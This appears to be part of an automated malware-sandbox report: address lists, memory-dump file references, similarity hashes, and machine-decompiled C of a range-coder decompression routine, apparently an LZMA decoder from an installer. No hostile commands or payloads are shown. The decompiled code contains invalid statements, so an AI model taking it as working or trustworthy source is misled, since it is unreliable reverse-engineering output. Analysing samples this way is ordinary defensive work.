0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x00000000
0x004068c2
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406843
0x00406840
0x00000000
0x00406595

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction ID: c4674237f5282a099a09cde02a4657600336f9fef0cdfe8d994bfdecfa790225
Opcode Fuzzy Hash: 61519280ecd7fef69977b9b053ed39a1e65b41a016af8b99da7ecabe5fea5e13
Instruction Fuzzy Hash: 4A714671E00228CFDF28DFA8C8547ADBBB1FB44301F15816AD916BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004064DD, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004064DD() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
